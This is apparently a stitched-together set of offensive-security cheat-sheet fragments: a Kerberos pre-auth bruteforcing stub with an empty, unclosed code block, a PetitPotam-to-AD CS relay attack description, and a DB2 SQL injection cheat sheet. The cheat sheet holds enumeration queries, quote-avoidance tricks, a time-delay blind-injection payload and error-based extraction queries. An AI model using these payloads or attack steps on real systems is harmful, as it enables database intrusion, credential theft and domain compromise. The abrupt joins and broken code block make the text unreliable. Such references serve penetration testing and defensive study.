#### Kerberos pre-auth bruteforcing
Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.
```powershell

#### AD CS Relay Attack
> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controllers NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

# DB2 Injection

## Summary
* [DB2 Cheatsheet](#db2-cheatsheet)
* [References](#references)
## DB2 Cheatsheet
### Version
```sql
select versionnumber, version_timestamp from sysibm.sysversions;
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+)
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
select service_level,bld_level from sysibmadm.env_inst_info
```
### Comments
```sql
select blah from foo -- comment like this (double dash)
```
### Current User
```sql
select user from sysibm.sysdummy1
select session_user from sysibm.sysdummy1
select system_user from sysibm.sysdummy1
```
### List Users
DB2 uses OS accounts
```sql
select distinct(authid) from sysibmadm.privileges -- priv required
select grantee from syscat.dbauth -- incomplete results
select distinct(definer) from syscat.schemata -- more accurate
select distinct(grantee) from sysibm.systabauth -- same as previous
```
### List Privileges
```sql
select * from syscat.tabauth -- shows priv on tables
select * from syscat.tabauth where grantee = current user -- shows privs for current user
select * from syscat.dbauth where grantee = current user;;
select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies
```
### List DBA Accounts
```sql
select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'
select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = Y or SYSADMAUTH = G
```
### Current Database
```sql
select current server from sysibm.sysdummy1
```
### List Databases
```sql
select distinct(table_catalog) from sysibm.tables
SELECT schemaname FROM syscat.schemata;
```
### List Columns
```sql
select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat
```
### List Tables
```sql
select table_name from sysibm.tables
select name from sysibm.systables
```
### Find Tables From Column Name
```sql
select tbname from sysibm.syscolumns where name='username'
```
### Select Nth Row
```sql
select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
```
### Select Nth Char
```sql
select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b
```
### Bitwise AND/OR/NOT/XOR
```sql
select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot
```
### ASCII Value
```sql
Char select chr(65) from sysibm.sysdummy1 -- returns 'A'
```
### Char -> ASCII Value
```sql
select ascii('A') from sysibm.sysdummy1 -- returns 65
```
### Casting
```sql
select cast('123' as integer) from sysibm.sysdummy1
select cast(1 as char) from sysibm.sysdummy1
```
### String Concat
```sql
select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc'
select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'
```
### IF Statement
Seems only allowed in stored procedures. Use case logic instead.
### Case Statement
```sql
select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1
```
### Avoiding Quotes
```sql
SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”. Works without select too
```
### Time Delay
Heavy queries, for example: If user starts with ascii 68 ('D'), the heavy query will be executed, delaying the response.
However, if user doesn't start with ascii 68, the heavy query won't execute and thus the response will be faster.
```sql
' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68
```
### Serialize to XML (for error based)
```sql
select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result.
```
### Command Execution and Local File Access
Seems it's only allowed from procedures or UDFs.
### Hostname/IP and OS INFO
```sql
select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv
```
### Location of DB Files
```sql
select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv
```
### System Config
```sql
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.
select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.
```
### Default System Database
* SYSIBM
* SYSCAT
* SYSSTAT
* SYSPUBLIC
* SYSIBMADM
* SYSTOOLs
